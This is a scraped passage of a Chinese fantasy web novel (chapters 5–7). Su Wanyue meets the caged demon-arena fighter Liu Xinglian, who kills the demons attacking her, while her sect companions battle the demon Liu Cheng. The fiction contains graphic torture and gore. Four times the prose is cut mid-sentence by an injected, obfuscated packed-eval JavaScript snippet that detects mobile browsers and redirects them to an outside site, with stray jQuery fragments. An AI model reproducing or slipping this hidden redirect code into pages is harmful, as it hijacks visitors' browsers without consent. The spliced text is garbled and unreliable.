怪不得那位大姐笃定了他会赢,敢情不是看中他的能力,而是看中他的脸了。 苏挽月抱着手看着场上的三人你来我往,她原本坚信了这位少年就是个小白脸,很快就会败下阵来,没成想不一会儿就被狠狠打脸了。 那位被称作柳奴的少年躲了几下,随后像是不耐烦了,故意卖了个破绽。 袁奴果然放弃了防御举着斧头向他砍来,柳奴不躲不避赤手握住了刀锋,鲜红的血液从他手中一滴滴落下,他却没有露出一丝痛苦的神色,只伸出另一只手,幻化出一把红色长剑,一剑捅进了袁奴的胸膛。 鲜血喷涌而出,袁奴痛得大喊一声,手上瞬间泄了力,那把大刀啪嗒一下落在了地上。 旁边的云奴见此赶紧上前帮忙,柳奴眼光一扫,扯着袁奴那庞大的身躯就扔了过去,将云奴砸了个正着。 他使的力道极大,苏挽月甚至清晰地听到了骨头断裂的声音,回过神来再一瞧,云奴和袁奴已经齐齐摊在地上动弹不得。 柳奴拎着剑一步步朝着地上的两人走过去,那双赤白的脚踩在染了血液的地面上,红色越发浓烈,白色更加晃眼。 他扯着唇笑了笑,一副温柔无害的模样。 “真没意思,还是快点结束吧。” 一把长剑贯穿了两人胸膛,他蹲下身,冷静地观察了地上躺着的人好一会儿,好像是见到他们还没断气。 又是数剑划在他们四肢上,挑断了他们的手脚筋,地上的两人痛得大喊出声。 云奴脸上带着痛楚与希翼,哀求道:“你杀了我吧,求你了。” 柳奴却歪了歪头,好像很是疑惑,“你求我?为什么?这种感觉你们不是很喜欢吗?” 他说着,又是一剑划在他的腿上。 “啊!不要!我求你了,我求你了!”比斗台上的两人高声痛呼,声音响彻云霄。 然而他们越喊,底下的妖怪们就越兴奋,口中喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392729|168614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彩:“好啊,哈哈哈,真精彩!不愧是柳奴!” “赢了,赢了!我的一百仙石。” “……” 场上的鲜血越流越多,几乎就要顺着比武台的边缘流到下面来了。那把红色的长剑也像是吸饱了血,透出一丝别样的光泽。 地上的两人从哀哀求饶到了无声息,不过短短一刻钟的时间,在他们彻底断气以后,柳奴眼也不眨地用他手中的那把长剑插进了两人胸膛,刨出两颗血淋淋的心脏,扔向了下方的妖群。 众妖立即欢呼着争抢起来,台上是鲜血淋漓的比武场,台下是疯狂的妖群。 唯有那一身白衣的少年手持红剑面无表情地站在原地,他唇角勾着一抹笑,像是讽刺,又似十分愉悦。 最终她身旁的大姐奋力抢到了一颗,在她旁边吃得津津有味。 苏挽月从未见过这样血腥残忍的场景,若不是死死忍住,她恐怕得当场吐出来。 在这一刻,她突然想起了左秦鹤的话,妖物都是没有人性的,见到它们,只管杀了便是。 那两人死去以后,柳奴也悄然退了下去。最初的那位妖族美人又出现了,照例说了一番场面话,将气氛推入了高潮。 苏挽月却没有心思听下去,只因这时候,她脑袋里正疯狂闪着一段文字: 注意!目标出现!柳星怜!请宿主抓紧时间接近他,与他打好关系,阻止前世的惨剧。 柳奴,柳星怜,苏挽月简直要疯了,刚刚看到了那么刺激的一幕,她现在完全不想接近那个杀人魔头,她不信这样的人还能向善。 在脑中一连叫了数声,系统都没有任何反应,苏挽月有些挫败地垂下了头。 此时场上又有了新的比斗,苏挽月不想再看一次那样的场景,便苦着脸朝柳奴消失的方向走去了。 走了没一会儿,便见到了一扇黑色的铁门,门口站着个小孩模样的妖怪。长得白白嫩嫩,还挺可爱。 苏挽月弯下腰问他:“柳奴在这里吗?” 那小孩奇怪地看了她一眼,语带迟疑:“你要见柳奴?” 苏挽月点点头,不明白他为什么这副神情,方才比试台边那么多人叫着柳奴的名字,想见他的人应该不少才对。 小孩嗤笑了一声,却没再说什么,懒洋洋地打开门,就直接让她进去了。 苏挽月:……这么容易的吗? 苏挽月走进去的一瞬间便闻到一股难以言喻的臭味,既像是血腥味,又像是什么东西腐烂的味道。 她掩住了鼻,发现里面有着数个大大小小的牢笼,每个笼子里都关着一个人,有的人面前还摆着食物,是人能吃的东西,却绝对称不上好,远远就能闻到饭菜的馊味,那些人却吃得狼吞虎咽。 5. 云来城 苏挽月心里沉了沉,她继续往前走着。终于在最后一个牢笼里看见了想找的人,那人穿着破破烂烂的衣服闲适地躺在角落里,他的面前也摆着一份饭菜,却并没有动过的痕迹。 苏挽月瞟了一眼那食盘,是一碗稀粥配上咸菜,看起来就让人没有食欲,但好歹没馊。 柳奴显然已经注意到了她,却丝毫没有搭理她的意思。 苏挽月有些怕他,但见他不出声,只好开口唤道:“柳奴。” 柳奴撑起身,目光直直落在她的脸上,牢笼的地面上并不平滑,有许多小石子,他那只受伤的手随着他的动作深深陷入了石子里,苏挽月看着就觉得疼,他却没有任何反应。 倏然,他扯出一抹笑,问她:“你是谁?” 苏挽月凑近,双手握着牢笼上的铁柱子,悄声道:“我是来救你的。” 她说这话的时候,在脑中设想了很多次柳奴会有的反应,却万万没想到他的反应会是这样。 柳奴听见她这话,黑眸中盛满了疑惑,他走上前来,跟她隔着一层铁栏对望,“救我?为何要救我?” 离得近了,苏挽月这才看到,他的眼角有一颗浅红的痣,很小的一颗,不仔细看根本发现不了。 苏挽月道:“我受人之托,救你出这牢笼。” 柳奴脸上的疑惑更明显了,他目光澄澈,配上那张无害的俊脸,看上去跟比武台上那个杀人不眨眼的魔头一点也不一样。 “可是,这里是我的家,我为什么要走?” 他这话一出,苏挽月感觉到自己的心梗了一下,怪不得门口的小妖那么容易就让她进来了。原来如此,她心中一时五味杂陈,说不清是什么滋味,只好换了个问法:“你在这里待了多久了?” 柳奴思考了一下,“唔,约摸十七年了。” 苏挽月深深叹了口气,想必柳奴这些孩子从小就被送到了这里,对于他们来说,这里就是他们的家,他们不知道外面的天空是什么样的,也从未闻过花香,听过鸟鸣。所见之处,尽是厮杀和血腥。 他们不会想着挣脱,因为他们甚至意识不到这是囚禁着他们的牢笼。 苏挽月在这一瞬间,忽然就不怕他了,她叹息了一声,对柳奴道:“伸出左手。” 柳奴愣了愣,看着她黑白分明的眼睛,犹豫了一会儿,还是慢吞吞地将自己受伤的那只手伸了出来。 那只手很漂亮,指节分明,修长而又纤细,肤色如玉一般,却被一道深可见骨的伤口破坏了美感。 那道伤口血淋淋的,上面还有遍布着细小的石子,它们深深扎进血肉里,看起来模糊成一片。 苏挽月深吸了一口气,动作极轻地为他处理着伤口,一颗颗沾血的石子被她弄出来,仿佛是怕他疼,还时不时用嘴吹一吹。 弄完后,她想从储物袋里翻出伤药,却怎么也找不着。这个储物袋是原主的,她之前并未整理过,一时之间很有些手忙脚乱。 迫不得已,她将储物袋中的东西掏出了一大半,终于找到了那只瓷白的小瓶。 苏挽月打开药瓶,轻轻敷到他的伤口上。 柳奴瞧了眼她拿出的东西,好似有些好奇,他指着那对粉色樱桃耳坠问苏挽月:“这是何物?” 苏挽月随意地看了一眼,“是耳坠子,女子戴的饰品。” 柳奴笑了,他道:“原来你们人族喜欢同类的血制出来的东西。” 苏挽月的动作一顿,她不可置信,“这是人血做的?” 柳奴觉得她的反应很有趣,脸上带着看好戏的神情,“是啊,这东西,是在这座山脚下找到的吧?原本是白色的。这么些年,被血养着,就变成这个颜色了。” 他将那对耳坠拿在手中,摩挲着上面的粉色樱桃,“这颜色算浅,还有更红的呢。” 苏挽月胃中一阵翻腾,连忙道:“这坠子我不要了,送你吧。” 柳奴大笑出声,把玩了那坠子好一会儿,然后回道:“好啊。” 苏挽月见到他这幅模样,想了想,从储物袋中拿出了一包东西,塞到他的手中。 柳奴新奇地捧着那包东西,将它打开,看到了几块乳白色的糖块。 “这是什么?”他问。 “饴糖,尝起来是甜的,是人间才有的东西。” 柳奴点点头,拿起一块放进了嘴里。有些陌生的甜味在他的舌尖蔓延,他眉眼舒展,道:“果然很甜。” 苏挽月也笑了,她上好了药,用一层干净的白布将他的伤口裹了一层又一层。 整个过程中,柳奴始终一言不发,直到她将他的手包得像个粽子,他才轻笑着问她:“你叫什么名字?” 苏挽月回他:“我姓苏,唤做挽月。” “苏挽月,苏挽月……”柳奴反复念着她的名字,嗓音低沉动听,就像是香醇的陈酿,一直酥麻到心底去。 隔了许久,他才说:“曾有人给我取过一个名字,她叫我柳星怜。唔,那是我很小的时候,是一个女人给我取的。”他上下瞧了瞧苏挽月,补充道:“像你一样的女人。” 苏挽月指着自己,“像我一样?” 柳星怜点头,扬了扬自己的手,“我疼的时候,会给我包扎,还会给我吃刚才那种很甜的东西。他们说,就是那个女人生下了我。” 他说着,脸上露出了回忆一样的神色。 苏挽月一愣,很小的时候,取名字,女人,生下他。这不就是他娘亲吗? 她嘴角一抽,正想说什么,却见到柳星怜放大的俊脸。 “我不讨厌你,所以……”他压低了嗓音凑到她的耳边,还是那股令人酥麻的声音,说出的话却差点将她全身的血液都冻住,“提醒你一句,你快些逃吧。否则,你就要死了。” 苏挽月骇然抬眸,看到了柳星怜那上扬的红唇。 下一瞬,黑色的大门被人推开,那个守门的小妖怪带着一群人闯了进来。 他伸手指着苏挽月,口中道:“就是她,跑过来见柳奴,还说要救他出去。” 苏挽月:……我不是,我没有。 为首的是个中年男人,穿着身黑色衣袍,气质阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392730|168614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷,看起来就不像好人。 那人目光冷冷地落在她的身上,随后惊讶道:“咦,是个人族?奇怪,为何闻不到人味。” 他疑惑了一瞬,很快又露出个玩味的笑,看着她的眼神就像在看着玩具,苏挽月有些害怕。 她下意识地想向柳星怜的方向靠过去,却见他已经躺回到原来的位置,闭着眼睛一动不动,仿佛什么也没有看见。 那中年男子见到她的目光,冷笑了一声:“你以为那个畜生会管你?”说着,他向后挥了挥手,道:“捉活的。” 他话音一落,两个小妖就走了出来,朝着她缓缓靠近。 苏挽月在心中骂了好几声,随后叹了口气,手掌摊开,右手腕上绑着的红线霎时落在她的掌心,她朝着那两只小妖扔出,红线眨眼间便缠上了两只妖物的脖颈,化作红光将之割喉。 这一切都发生在电光火石之间,在场之人都是一愣,中年男子看清了她手中的法器,惊叹道:“千绫!” 千绫,是她的本命法宝,也是原身的娘留给她唯一的东西。这东西被人认出来一点也不奇怪,她没吭声,算是默认了。 却不曾想那中年男人认出千绫后却是冷哼一声,瞬间改了口:“都给我上,不用抓活的了。” 苏挽月:……我有句脏话不知当讲不当讲。 身后数个妖物朝着她飞快扑来,苏挽月在心中叹着吾命休矣,正想做垂死挣扎。 一阵骚乱却从外面传来,有个浑身是血的侍女跌跌撞撞地冲进来,撑着一口气禀告:“柳,柳大人,有一群修仙者闯进来了,我们……快撑不住了。” 话一说完,又是一口血喷出。 中年男人闻言死死拧着眉头,又回头看了苏挽月一眼,随后带着两个小妖退了出去,临走之时吩咐剩下的小妖:“此女留不得,不惜一切代价,将她杀了。” 剩下的妖怪们纷纷应了,接着使出了自己的看家本领,势要将她当场斩杀。 苏挽月一边在心中暗骂,一边用千绫苦苦支撑,只一小会儿,身上就多出好些伤口。 见到她就要支撑不住,一个脸上有三根胡子的小妖道:“这女娃,长得这般水灵,身上的肉又嫩又滑,她这条胳膊,待会我老田要了。” 它说这话的时候,手上亮出了三根利爪,朝着苏挽月就袭了过来,仿佛想一举割下她的右臂。 苏挽月来不及躲避,慌忙之间召回千绫一挡,那利爪砍在千绫之上,瞬时便齐齐断裂,那小妖痛得嚎叫出声。 却在这时,一旁的长发女妖抓住了时机朝她左边攻来,口中还道:“哎,我说老田,看样子你也不行啊,做妖呢,还是得服老,这手臂还是归我吧。” 周围小妖们一阵哄笑,竟然是争着分配起她的身体来,一个说要胳膊,胳膊啃起来香,另一个说要小腿,小腿的肉细嫩。 听得苏挽月心头火起,但她才挡住了胡子妖的攻击,实在无法分心去管那长发女妖,眼见着一只手臂便要折去。 一柄红色长剑却乍然出现在眼前,替她挡了这一击。 6. 云来城 她诧然抬眸,见原本躺在牢笼中的柳星怜不知何时破开了牢笼,挡在了她的身前。 他一剑挥出,剑气之下,众妖尽皆后退。 先前说话的那长发女妖警惕地看着他,喝道:“柳奴,你要做什么?快回笼里去!” 柳星怜嗤笑了一声,没理会她,只赤着脚站在原地。 他长发如墨一般披散在肩头,身上的白衣破烂且肮脏,手中的那柄长剑恍若凝着一层血光,看起来竟然十分诡异。 长发女妖见他不吭声,却又不肯移动脚步,顿时有些着急了,厉声道:“柳奴,你要不听话吗?!” 她这话一出,柳星怜终于动了,只见他伸出了一只手,轻轻抚上了那柄长剑的剑身,动作温柔得就像在抚摸情人。 “红阎,吸了那么多人族的血,今日咱们也试试妖族的吧。” 这话一出,红阎的剑身竟然轻轻颤抖了起来,就像在兴奋一样。 柳星怜又安抚了一下它,这才抬头,对着妖怪们扯出一个笑,明明是那么干净温柔的笑容,落在妖怪们眼中却宛如煞神降世。这些妖物们都见过不止一次他杀人如麻的模样,从前只觉得爽快,如今轮到自己,才知道什么叫害怕。 他们面对这样的柳星怜,根本生不出任何反抗的念头。 妖怪们踌躇着不敢上前,长发女妖这时候也不敢嚣张了,她缓和了语气,声音中甚至带着些讨好,“柳奴,你不能杀我们,否则柳大人会生气的。” 柳星怜歪了歪头,像是在犹豫,“你是说父亲?” “对对。”长发女妖赶紧道:“就是你的父亲,你从前不是最听他的话吗?他让你……” 她话还没说完,就被一柄血色长剑穿透了身体,鲜血滴滴答答落在长剑上,让它看上去更加妖异。 柳星怜举着剑长笑,笑容肆意而疯狂,他道:“父亲吗?别急,我先杀你,再杀他。” 手腕一转,一颗心脏从女妖的身体中飞了出来,落在柳星怜的脚边,他上前瞟了一眼,眼眸中带起不屑,随后一脚踩碎了它。 “我还以为人和妖的心有什么不一样呢,害我好奇了好久,不都一样吗?”说着,他看了一眼不断倒退的人群,像是有些不解,他问众人:“你们在害怕?为什么?你们不是很喜欢这样的场面吗?今日我们可以好好玩一玩了。” 他说完,没等众人反应便挥着剑扑进了人群,霎时间,一片血光闪过,到处是鲜血淋漓,残肢断臂。 一瞬间,苏挽月恍然以为自己到了修罗地狱。 不知过了多久,一颗人头咕噜噜地滚到了她的脚边。她眼神木然地向下看去,却见到一双赤着的脚。 那双玉白的脚上沾了血,却依然像是匠人们精雕细琢而成的工艺品。 柳星怜走近,抬起了她的下巴,他的脸上满是鲜血,沾在他的眉角眼梢,让他看上去多了一丝诡异的昳丽。 他逼迫她跟他直视,拧着眉问她:“你在害怕我?” 他手中的长剑慢慢举起,对准了她的心脏,“你方才还为我包扎,如今就要害怕我吗?” 苏挽月骇得牙齿都在打颤,她道:“没……没有。” 柳星怜轻笑一声,压低了声音道:“说谎。” 说完,长剑微微用力,就要刺进她的心口,却感觉到了一股阻力,他低头,看到一双小手握住了剑身。 “我会习惯的。”苏挽月忍着手心传来的剧痛,一字一句道:“我会习惯不再怕你,我以后还给你包扎,请你吃糖。” 柳星怜怔了怔,手里拿着的剑微微一松,他状似思量了片刻,这才可有可无道:“好吧,那看在糖的份上。” 言罢,那把抵住胸口的剑,终于被他缓缓收了回去。 * 柳承带着手下们出去的时候,外面早已经乱成了一团,小妖们死的死,逃的逃,精致的琉璃灯都掉落了好几盏,原本摆在桌案上供看客们食用的瓜果点心掉了一地,被逃窜的人们踩得稀碎,红红绿绿的汁液跟地上的鲜血混合在一起,看起来一片狼藉。 柳承看着这场面,顿时气得咬牙切齿,正待出去看看究竟是谁在捣鬼,忽被一逃窜过来的小妖撞了个正着,他忙扶住小妖的肩,问他:“外面到底是什么情况?” 那小妖正急着逃命,见有人在这时候拦住了他,顿时气不打一处来,正要开口骂几句,就看清楚了问话人的脸。 他立刻抖了抖,将要脱口而出的话憋了回去,恭敬地回道:“回大人,是一群修仙者,带头的是个黑脸大汉,拿着一柄黑色大刀,修为很高。我们……我们打不过,便……” 他说得犹犹豫豫,生怕眼前这位大妖怪罪,却见柳承蹙着眉对他挥了挥手,竟是就这么放过了他。 小妖当即大喜,忙拜了拜就朝着前方逃命去了。 不过一小会儿,小妖的背影便消失在了眼前,柳承凝神瞧了一会儿,这才朝身后一挥手道:“随我前去看看。” 身后的小妖们齐齐回答:“是。” 众人往前没走多久,便撞上了那逃窜小妖口中说的手拿黑刀的大汉。大汉身旁还站着两个长相有九分相似的少年少女。 只见此刻,他正将刀从一个半人半蛇的妖物腹中抽出来,一回头便看到了柳承一行人,不由拧眉,道:“玄妖?” 柳承这人,平生最厌恶别人道破他的妖境,当即脸色一沉,便幻化出一竿银枪朝着大汉攻去。 见到老大都动了,柳承身后的小妖们自然得跟上,纷纷举着武器将大汉围住了。 见此情形,大汉身旁的那位少年同样执剑相迎,口中道:“左师兄,我来助你。” 两人背靠着背,面对一众妖物,面上却并无惊惶之色。 反而是那一旁跟着的少女面露担忧,正要上前帮忙,却被大汉阻止了,他朝着少女吩咐:“灵师妹,你先去找苏师妹。” 少女瞧着眼前的情形,犹豫了好一下,最终还是应了声是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392731|168614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她在两人的掩护下跑了出来,随手抓了只小妖追问起来,那小妖被她用剑抵着,吓得双腿一软,忙倒豆子似的交代了个干净,口中连连求饶。 少女却没有放过它的意思,问完话后便毫不留情地抹了它的脖子,随后朝着一个方向去了。 原来,这三人便是左秦鹤和沈毓沈灵两兄妹了。昨日傍晚,沈灵与苏挽月约好次日一早前去除妖,谁知待到日上三竿,左等右等还是不见苏挽月,她这才急了,忙召回了左秦鹤和沈毓,告知了此事。 左秦鹤沉吟片刻,用了追踪术,原来早在飞舟之上,他便为每位弟子都下了追踪的术法,以防有意外发生,谁知竟然真的派上了用场。 众人在追踪术的引导之下,找到了云来城外的五行山脉,并从先前的洞穴之中进入了这妖巢。 初见妖巢,左秦鹤便是一惊,他本想着,虽然云来城中混入了妖物,但数量却不会太多,没想到竟有几百之众,好在大多都是小妖,妖力低下,他一人便足以对付,谁知这会又不知从哪儿冒出了个玄妖,这可麻烦了。 他紧紧皱着眉看向柳承,压低了声音在沈毓耳边道:“毓师弟,待会我想办法拖住那只玄妖,你找准时机冲出去,待灵师妹找到苏师妹,你便带着剩下的师弟师妹们先走。” 听闻此话,沈毓面色瞬间难看起来,他咬紧了唇,倔强道:“左师兄,我不可能丢下你一个人逃走的。” 左秦鹤见他如此,脸色也不好了,他揉了揉眉心,颇有些无奈,“毓师弟,如今不是你意气用事的时候,哪怕不想想自己,你也得想想灵师妹,她可是你亲妹妹,你想让她丧命于此吗?” 提到沈灵,沈毓原本无比坚定的神色略有些松动,然而在看到左秦鹤担忧的目光时,又重新恢复了,他道:“左师兄,你不必再说了,到时候我会让灵儿带着苏师妹先走,我必要留下和你一起。” 见他如此油盐不进,左秦鹤气急,但却无可奈何,只好在心里打定主意,待会找机会送他们出去。 这厢他们还在争执不休,那厢柳承却没了耐心,手中银枪一转便朝着左秦鹤迎面刺了过来,一边打,一边说:“行了,不必这般婆婆妈妈,你们一个也跑不掉,都得给我这些手下们偿命。” 说完,便跟左秦鹤战在了一起,身后的小妖们也一拥而上,将两人彻底包围。 在他们打斗之时,沈灵正沿着那小妖指的路朝着苏挽月所在的方向而去,一路上倒是没遇到什么危险。 如今这妖巢大乱,众妖都只顾着逃命,没功夫管别人,原本守在门口的小孩模样的妖怪也早已不知所踪。 沈灵很轻易地就走了进去,甫一进去,便闻到极其浓重的血腥之气,再一看,地上堆着满满的尸体,每具尸体都不完整,不是缺胳膊就是少腿,看起来格外惨烈,鲜血流了一地,甚至都找不到一块干净的地方落脚。 见此情形,沈灵心中不由得咯噔一声,以为苏挽月已遭了意外,背脊骨都在发凉。 7. 云来城 她怀着忐忑的心情,从众多牢笼之中奔过。 锁在笼中的人看到她,纷纷露出好奇之色,有的人还贴着铁栏朝她招手,口中道:“好饿,好饿,给我吃的,我要吃的!” 还有的却是唤道:“下一个该我上场了吗?大人?大人?” 沈灵一概没有理会,只心中越发焦急,也不由颤着声喊道:“苏师妹!苏师妹!你在吗?苏……” 待走到最后一个牢笼前,沈灵的叫喊声戛然而止,她目瞪口呆的看着她要找的苏师妹好生生的站在原地,正拿着一块白色的饴糖递给旁边的执剑少年。 听到她的声音,少年下意识地抬头看了一眼,只一眼沈灵便感觉身上传来一阵凉意,她不由心下警惕,暗自打量这个危险的少年。 “师姐?”苏挽月有些惊喜,她没想到沈灵竟然能找到这里,一时间几乎忘了身在何处,立即就要跑过去,却被一柄血红的长剑拦住了去路。 顺着剑身看过去,正对上柳星怜漆黑的眸子,他脸上带着一丝好奇,问道:“她是谁?” 少年懒懒地握着剑,好整以暇地看着突然出现的沈灵。做这个动作的时候,他左手食指还搭在红阎上,轻轻敲击着剑身,发出一阵叮叮当当的声音。 苏挽月瞬间心中一紧,依照这位的疯劲,她毫不怀疑,如果沈灵有任何让他不高兴的地方,他都会二话不说直接一剑劈过去。 她急忙抢在沈灵开口之前回答:“这位是我的同门师姐,沈灵。” 随后又给沈灵使了个眼色,指着柳星怜向她介绍:“这位公子名唤柳星怜,今日真是多亏了他,若不是他救了我,师姐这会恐怕只能见到我的尸首了。” 听她这么一说,沈灵这才收起了脸上的警惕之色,对着柳星怜拱了拱手,正色道:“多谢这位公子救我师妹性命。” 柳星怜闲闲看了她一眼,良久才收回了搭在剑上的手指,脸上带着微笑回:“不必。” 看样子,他是不打算再动手杀个人什么的了,苏挽月瞬间松了一口气。她赶紧两步上前走到沈灵身边,开口问道:“灵师姐,你怎么会在这里?” 说到这个,沈灵顿时气不打一处来,她用力戳了戳苏挽月的额头,“你还说呢?我们一群人瞎转悠半天才找到几个小妖,你倒好,直接抄了人家的老巢,还自己混进来了。你怎么这么莽撞?万一受伤了怎么办?” 苏挽月捂着发疼的额头,甚是理亏,只能一边哄着沈灵,一边认错:“灵师姐,对不住,是我错了,我这不是误入吗?我没想自己跑进来的。” 她将自己的城主府遇到红色玉兰花,再被花引到这里来的事跟沈灵说了。 沈灵顿时收了声,也感觉到这事有点不对劲,她按了按额角,道:“此事等出去后告知左师兄再说,哎哟!瞧我这记性,哥哥他们还在前面呢,那边好多妖怪,我们得过去帮忙。” 提到左秦鹤,她这才想起,前面还有好些妖物等着收拾。赶紧拉了苏挽月就要出去。 苏挽月点点头,提步跟上,忽然又想起站在一旁的柳星怜,忙回头去看,却见他比她们动作还快,不过一会儿便掠出了那扇黑色铁门,整个人窜得没了影。 三人一路疾行,到前殿时,恰见一个人影飞在半空,他穿着一身黑衣,手握银枪,满头乌发凌乱地飘散着,带起妖风阵阵,然而最引人注目的却不是他那周身的邪气,而是背上那对金色的蝶翅。那对翅膀很大很漂亮,上面覆盖着一层香磷,看起来梦幻而美好。 苏挽月看着这对翅膀,不知怎的,突然想起了比斗场上见到的,柳星怜脚踝上的那只蝴蝶。 她转头看过去,只见柳星怜正目光沉沉地盯着半空中的人影,眸中红红的,带着丝说不清道不明的情绪。 苏挽月稳住心神朝下一瞧,他脚踝上的蝴蝶果然还在,跟空中显露的那对翅膀渐渐重合了起来,竟然是一模一样! 正在此时,空中的人影开口了,他声音低沉而沙哑,仿佛是怒到了极点,“你们这群修仙者,这些年来杀了不知多少我的同族。逼得我们龟缩于此,不敢冒头,我们都这般低调了,你们却还不依不饶,闯入妖巢,大开杀戒,当真可恶至极。既然如此,那我柳承今日便和你们同归于尽!” 他转过头,眼中已是一片猩红,凌冽的目光扫向在场所有的神机宫弟子。苏挽月这才发现,原来这人竟是刚刚的那位柳大人。 听他此言,左秦鹤却是利落挥出大刀,口中斥道:“休要胡说八道,颠倒黑白!你们这些翅金蝶可真是恶毒,竟然在云来城设了这样一个地方,害死不知多少无辜之人!老天有眼,教我遇上,这次我必不可能袖手旁观,今日便将你斩杀于此,祭奠这些惨死的亡灵。” 他话音一落,便一马当先冲了上去,跟柳承战在了一起。 左秦鹤话虽然说得漂亮,但从他有些迟缓的动作来看,苏挽月还是察觉出他受了不轻的伤,恐怕不是这妖物的对手。 怎不见毓师兄呢?苏挽月正在心中想着,却见沈灵风一样地朝着一个方向扑过去,伏在了地上一道白色人影上。 苏挽月定睛一瞧,正是沈毓,不过此刻,他正浑身染血倒在地上,也不知伤到了何处,已经彻底昏死过去,任沈灵如何叫喊也全无动静。 “哥哥!哥哥!”沈灵见到兄长人事不知,顿时红了眼眶,忙从储物袋里翻出疗伤丹药喂进他嘴里。 见此情形,苏挽月叹了口气,看来沈灵沈毓两兄妹是指望不上了,她动了动右手,刚想唤一声千绫,却被一人拉住了手腕。 柳星怜目光落在她的脸上,语气凉凉:“那可不是普通的妖,他是一只玄妖,你想找死,方才我便不该放过你。” 这话一出,苏挽月整个人都懵了,这只翅金蝶竟然是玄妖吗? 在这个世道,修真者可以从炼气修炼到化神,妖物自然也有境界,分为了天、地、玄、明、清五等。 不过跟人族不一样的是,妖族的境界是很难跨越的,能进入明境者,都是百里挑一。更别提达到更高的境界,尤其是天妖,那可真是攀顶的存在,找遍整个妖族,也唯有四位而已,而且千百年来,都只有这四位,其余众妖,哪怕再凶再恶,再是奋力修炼,也只地妖境界便止步了。 想到这只妖是玄妖,苏挽月也有了一瞬间的犹疑,只在心中想道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392732|168614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左师兄是筑基巅峰,和玄妖尚有一战之力,若我跟着上去,很可能不仅帮不上忙,反而还会为师兄添麻烦。 然而虽是这么想,她却还是没办法眼睁睁看着左秦鹤死在她的面前。 正想咬牙拼一把,却听左秦鹤百忙之中抽空朝她吼了一句:“苏师妹,快带其他人走!” 这话一出,他的身上便重重挨了一下,那银□□进了他肋骨,左秦鹤拼着一股气将它拔出,抹了抹唇角的血,继续道:“妖孽,来啊!今日若打不死爷爷我,来日我定杀光你全族。” 对面的柳承一听此话,顿时勃然大怒,攻势更加凌冽了几分,只想着一招取下他的性命。 左秦鹤这么说本就是为了激怒他,见他如此,他反而笑了,竟然放开了防守,只一味猛攻,一副不要命的架势。 苏挽月看得焦急不已,正在为难之际,却见柳星怜握着佩剑红阎一步步走了进去。 …… 左秦鹤余光中瞧见一个人影过来了,还以为是苏挽月不听劝,顿时急得不行,一分神,又被柳承的蝶翅扇中,整个人如离弦之箭一般飞了出去,落在地上,吐出一口鲜血。 苏挽月当即顾不得什么,跑过去查看他的情况,见他伤势严重,又手忙脚乱地从储物袋中翻出一大堆丹药,全部喂进了左秦鹤嘴里。 而此刻,柳承也发现来的人不对,他眸中有一丝意外闪过,道:“是你这小畜生?怎么?你也想杀我?” 柳星怜笑了一声,笑得眉眼弯弯,“你我血脉相连,我真想知道,红阎划在你身上会是什么感觉。” 柳承一听他这话,顿时气乐了,道:“小畜生好大的口气,想杀我,也得看你有没有这个本事。” 话毕,竟是毫不留情地挥枪向他攻去,那架势比打左秦鹤还狠。 这这这……这真的是亲父子? 苏挽月看得呆了,却见柳星怜敛去笑意,也提着剑迎上,一红一白两件利器在空中交锋,发出独有的锵锵之声,震得她耳中一疼。 柳承本已达到玄妖之境,连左秦鹤都不是他对手,更何况柳星怜这么个单薄的少年?苏挽月本以为他会很快败下阵来,却没成想,他竟然和柳承打了个旗鼓相当,半天分不出胜负。 柳承显然也意外极了,他挑了挑眉,却不知又想到了什么,面色渐渐黑了下来,眼角眉梢都带出了一股疯狂之色。 “你这个贱人生得杂种,我要杀了你,我要让你碎尸万段!” 他这样的喝骂对柳星怜来说似乎已是家常便饭,他听完以后面色如常,还有闲情抽空多刺激他几句。 诸如“我是畜生那你又是什么?”“连我都打不过,真是个废物。”之类,把柳承气得不轻,手底下的动作都乱了章法,露出一个明显的破绽。 